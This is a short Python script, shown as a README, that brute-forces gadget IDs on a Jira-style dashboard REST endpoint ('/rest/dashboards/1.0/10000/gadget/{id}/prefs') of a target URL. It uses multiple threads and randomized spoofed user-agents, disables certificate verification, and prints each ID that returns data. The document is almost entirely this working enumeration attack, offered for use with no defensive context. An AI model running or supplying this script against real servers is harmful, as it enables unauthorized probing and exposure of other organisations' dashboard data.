README.md
Rendering markdown...
# https://site.com/rest/dashboards/1.0/10000/gadget/{id}/prefs
import time
import random
import urllib3
import argparse
from urllib3 import Timeout, Retry
from multiprocessing import Pool, freeze_support
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("-t", "--threads", help="number of threads (15)", type=int, default=15)
parser.add_argument("-o", "--timeout", help="timeout", type=int, default=1)
parser.add_argument("-u", "--url", help="url", type=str, required=True)
args = parser.parse_args()
ua = ['Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65',
'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)',
'Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN) AppleWebKit/533+ (KHTML, like Gecko)']
def header_gen():
header = {
'User-agent': random.choice(ua),
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Connection': 'keep-alive'}
http = urllib3.PoolManager(headers=header, cert_reqs=False, num_pools=30)
return http
def brute(number):
time.sleep(args.timeout)
try:
https_req = header_gen().request("GET", args.url + f"/rest/dashboards/1.0/10000/gadget/{number}/prefs",
retries=Retry(3), timeout=Timeout(15))
if len(https_req.data.decode("utf-8")) > 1:
print(number)
except Exception as ex:
if "Max retries exceeded with url" in str(ex):
pass
else:
print(str(ex))
if __name__ == "__main__":
freeze_support()
numbers = [number for number in range(9000, 19999)]
pool = Pool(args.threads)
pool.map(brute, numbers)
pool.close()
pool.join()